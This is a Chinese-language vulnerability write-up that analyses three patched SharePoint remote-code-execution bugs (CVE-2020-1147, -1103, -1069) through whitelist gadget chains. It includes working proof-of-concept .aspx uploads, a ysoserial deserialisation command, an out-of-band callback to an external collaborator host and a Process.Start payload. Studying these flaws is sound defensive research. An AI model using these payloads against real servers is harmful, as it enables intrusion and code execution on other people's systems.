作者:青藤實驗室
原文鏈接:https://mp.weixin.qq.com/s/Z2hDtlsu0zgKY8YWhDBS7g
在 SharePoint Rce 系列分析(一) 裏我通過 CVE-2020-0974 展示了利用參數使用不當 bypass 沙箱; 在 SharePoint Rce 系列分析(二) 裏通過 CVE-2020-1444 展示了利用服務端處理邏輯不當(TOCTOU) bypass 沙箱;
本文是這個系列的完結篇,將通過三個漏洞,展示如何從 SP 白名單入手挖掘突破口。
CVE-2020-1147:利用白名單類,通過 Asp.Net 處理 DataSet
反序列化不當實現 rce; CVE-2020-1103:利用讀白名單類屬性,通過白名單上的類公有屬性與繼承關係讀子屬性(read gadgets),直到能讀 machineKey; CVE-2020-1069:利用寫白名單類屬性,通過白名單上的類公有屬性與繼承關係寫子屬性(write gadgets),直到能寫用戶上傳網頁文件的 VirtualPath(SP 通過 VirtualPath 判斷網頁文件來源);
我在之前的系列分析裏介紹過 SP 的沙箱模型,把用戶上傳的網頁文件稱作被“閹割了一部分功能”。微軟出於安全考慮,只允許用戶上傳的網頁文件在實現 Server Control 時引用一部分類,這部分類定義在 web.config 中,簡稱 SP 白名單。至於 Server Control 是什麼,按照我的理解,就是 Asp.Net 提供給開發者的一種前後端數據交互的方式,比如我可以在網頁文件中引用服務端定義的類、方法,讀寫服務端的(公有)類(子)屬性。
調試環境
Server2016
SP2016
dnSpy
背景知識
http out-of-band
在 SP 中,當無法直接從 http 響應中獲取我想要的信息時,可以考慮 http out-of-band,具體通過 XmlUrlDataSource
或 SoapDataSource
實現,比如下面是 XmlUrlDataSource
的用法:
PUT /test.aspx HTTP/1.1
<WebPartPages:DataFormWebPart runat="server" Title="REST" DisplayName="REST" ID="rest">
<DataSources>
<SharePoint:XmlUrlDataSource runat="server" AuthType="None" HttpMethod="GET" SelectCommand="http://zrun0o589ksxz108ewi4134nqew7kw.burpcollaborator.net">
<SelectParameters>
<WebPartPages:DataFormParameter Name="test1" ParameterKey="test2" PropertyName="ParameterValues" DefaultValue="xiaoc"/>
</SelectParameters>
</SharePoint:XmlUrlDataSource>
</DataSources>
</WebPartPages:DataFormWebPart>
dnslog 可以看到請求記錄
read/write gadgets
SP 白名單定義在 web.config 的 SafeControl 項中 通過類繼承關係,可以像鏈一樣迭代引用子屬性來進行讀(read gadgets)寫(write gadgets)操作,比如:
// A is a white-list class
public class A {
public B b;
}
public class B {
public C c;
}
public class C {
public D d;
}
我可以在上傳網頁文件中引用 A.b.c.d
進行讀寫操作。
讀寫是不同權限的操作,對目標屬性的要求也不同,除了 gadgets 的起點需要在白名單中外。對於讀操作,只要滿足屬性是 public
且符合繼承關係就可讀;對於寫操作,除了上述要求,還需要滿足 write gadgets 的終點(比如 A.b.c.d
中的 d
)不能被 DesignerSerializationVisibility.Hidden
屬性修飾。
用 gadgets 這種方法突破沙箱,是這個議題引用的漏洞列表中反覆使用的一種方法,除了 .net,議題的後半部分展示了通過 gadgets 突破各種 java 表達式語言的沙箱。
CVE-2020-1147
CVE-2020-1147 的原理很直接,在修復該漏洞之前,如果用 DataSet
或 DataTable
讀攻擊者完全可控的數據,攻擊者可以構造 xml payload 通過反序列化(不是 VIEWSTATE 反序列化)實現 rce。關於這部分的原理、payload 生成步驟可以通過文末參考中的 mr_me 的博客瞭解詳情。
再看這個漏洞,通過白名單類 ContactLinksSuggestionsMicroView
的 PopulateDataSetFromCache
方法,找到了 DataSet
反序列化的用法,這裏直接用作者的原圖 之後就是根據調用路徑去構造滿足要求的 payload。
利用漏洞需要發送兩次請求。
1)上傳 .aspx
PUT /1147.aspx HTTP/1.1
Content-Type: text/xml; charset=utf-8
<%@ Page Language="C#" %>
<%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<form id="form1" runat="server">
<mst:ContactLinksSuggestionsMicroView id="CLSMW1" runat="server" />
<asp:TextBox ID="__SUGGESTIONSCACHE__" runat="server"></asp:TextBox>
<asp:Button ID="Button1" runat="server" Text="Submit" />
</form>
在瀏覽器上顯示是一個簡單的輸入框,第二個請求是在這個輸入框裏提交 payload
2)向 1147.aspx 提交包含 payload 的 postback 請求 構造 payload 也可以分爲兩步,首先借助 ysoserial.net 生成反序列化 payload
ysoserial.exe -f BinaryFormatter -g DataSet -o base64 -c "calc" -t
構造包含反序列化 payload 的 xml 然後把整個 xml 在 1147.aspx 的輸入框中提交就可以看到 calc 進程啓動。
CVE-2020-1147 的主要問題不是 ContactLinksSuggestionsMicroView
作爲白名單類不合適,而是用 DataSet
反序列化時可以通過輸入控制反序列化類型,這在反序列化(經常需要處理不可信數據)的使用場景中肯定是有問題的。因此在安裝的了 CVE-2020-1147 的補丁後,DataSet
或者 DataTable
能夠反序列化的類型被限制在了一個白名單中,詳情可通過參考中的微軟官方說明了解。
CVE-2020-1103
CVE-2020-1103 利用 read gadgets 實現 rce。在 SP 中,要說從任意讀到 rce,很直觀地會想到 MachineValidationKey
。作者找到的能讀 MachineValidationKey
的 read gadgets 是:
Web.Site.WebApplication.Farm.InitializationSettings[MachineValidationKey]
但是,默認按照安裝嚮導安裝的 SP 環境中這個值爲空 參考 Nauplius/FarmLaunch 可以知道只有在安裝 farm 之前將 unattend.txt 放到
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\CONFIG\
目錄下再安裝 farm,SPFarm.InitializationSettings
纔不爲空。
所以我之後用會另一個屬性來證明漏洞存在 對應的 read gadgets 就變成了
Web.Site.WebApplication.Farm.Id
首先執行表達式的地方是 DataBinder.Eval
參考 DataBinder.Eval Method 可以知道 text
可以寫成 A.B.C[N].D
這樣的表達式,用 text
表達式的執行結果可以獲取 control2
對象的任何公有(級聯)屬性。
通過官方文檔給出的用法示例 以及解釋 可以知道用 ControlParameter
可以獲取提前綁定好值的通知屬性,再通俗點解釋,就是(用類似 A.B.C[N].D
這樣的表達式)可以獲取任何 System.Web.UI.Control
子類對象的公有屬性。
再看 ControlParameter#Evaluate
的參數流,很容易發現 DataBinder.Eval
的兩個參數完全可控
string controlID = this.ControlID;
string text = this.PropertyName;
Control control2 = DataBoundControlHelper.FindControl(control, controlID);
object obj = DataBinder.Eval(control2, text);
分別對應 和
(獲取屬性的)表達式的構造只需要滿足兩個條件即可:
1. 作爲執行上下文的類必須繼承自 System.Web.UI.Control
2. 獲取的目標屬性必須是 public,當然可以繼承自父類
這裏用逆推的方式解釋比較好理解,首先SPFarm.InitializationSettings
裏存儲了 MachineValidationKey
,我這裏用的是 SPFarm.Id
,接下來就是根據繼承關係逆推調用鏈的過程,直到找到 System.Web.UI.Control
的子類:
// Microsoft.SharePoint.Administration.SPFarm
// SPPersistedObject -> SPPersistedUpgradableObject -> SPFarm
public Guid Id { get; set; }
// Microsoft.SharePoint.Administration.SPPersistedObject
// SPPersistedObject -> SPPersistedUpgradableObject -> SPWebApplication
public Microsoft.SharePoint.Administration.SPFarm Farm { get; }
// Microsoft.SharePoint.SPSite
public Microsoft.SharePoint.Administration.SPWebApplication WebApplication { get; }
// Microsoft.SharePoint.SPWeb
public Microsoft.SharePoint.SPSite Site { get; }
// Microsoft.SharePoint.WebControls.TemplateBasedControl
// Control -> SPControl -> TemplateBasedControl
public virtual Microsoft.SharePoint.SPWeb Web { get; }
下面是獲取 Farm.Id
的 dnslog 截圖,省略了 PUT 之後的 GET 請求
CVE-2020-1069
回顧一下 filter 機制中如何區分受信與非受信 .aspx
可以看出 System.Web.UI.PageParserFilter.VirtualPath
在這裏扮演了一個安全標誌位的角色。
舉個例子,比如 layouts 目錄下系統自帶的 .aspx
通過 /_layouts/15/xxx.aspx
這樣的 path 去訪問,而我們上傳的 .aspx
比如 PUT /1069.aspx HTTP/1.1
則是直接通過 /1069.aspx
這樣的 path 訪問,服務端很容易區分,也就方便決定是否啓用沙箱。可以設想,假如我把上傳的 .aspx
的路徑改成了 /_layouts/15/xxx.aspx
,服務端在判斷是否啓用沙箱時就會把我當成文件系統上的 .aspx
而不是數據庫中,這樣我上傳 .aspx
就不會有任何限制。
通過 VirtualPath
的定義可以發現它只有 getter 沒有 setter
當請求上傳的 .aspx 時,通過調試可以發現它的值在 Create Method 中完成了賦值 此時的部分調用堆棧 根據作者的介紹 VirtualPath
的值由 AppRelativeVirtualPath
決定,原因沒有解釋,我從 call stack 中直接唯一一個和 TemplateControl 有關的調用節點: 這個過程基本上是直接的參數傳遞,所以很明顯。
最後一個問題是如何改變 AppRelativeVirtualPath
的值。
先看看出問題的類 WikiContentWebpart
的整體結構:
從繼承關係可以看出一直到 object 都沒有看到 TemplateControl
,如果能通過 WikiContentWebpart
改變 AppRelativeVirtualPath
,要麼是繼承,要麼是 aop。從這裏來看顯然不是繼承。順着繼承關係往上找,最終在 System.Web.UI.Control
中找到了 Page 屬性: 而 Page 是繼承自 TemplateControl
另外,Microsoft.SharePoint.WebPartPages.WikiContentWebpart
先這個類在白名單中:
到這裏總結一下上面的分析: 通過控制 WikiContentWebpart(白名單) -> 控制 Page 屬性(WikiContentWebpart 繼承自 control) -> 控制 Page 的 AppRelativeVirtualPath 屬性(Page 繼承自 TemplateControl) 最終獲得控制 VirtualPath 的效果
利用仍然是兩步,首先上傳 payload
PUT /1069.aspx HTTP/1.1
<%@ Page Language="C#" %>
<head runat="server" />
<form id="f1" runat="server">
<asp:menu id="NavMenu1" runat="server">
<StaticItemTemplate>
<WebPartPages:WikiContentWebpart id="WikiWP1" runat="server" Page-AppRelativeVirtualPath='<%# Eval("ToolTip") %>'>
<content>
<asp:ObjectDataSource ID="DS1" runat="server" SelectMethod="Start" TypeName="system.diagnostics.Process" >
<SelectParameters>
<asp:Parameter Direction="input" Type="string" Name="fileName" DefaultValue="calc"/>
</SelectParameters>
</asp:ObjectDataSource>
<asp:ListBox ID="ListBox1" runat="server" DataSourceID= "DS1"/>
</content>
</WebPartPages:WikiContentWebpart>
</StaticItemTemplate>
<items>
<asp:menuitem text="MenuItem1" ToolTip="/_layouts/15/settings.aspx"/>
</items>
</asp:menu>
</form>
trigger rce
參考
本文由 Seebug Paper 發佈,如需轉載請註明來源。本文地址:https://paper.seebug.org/1456/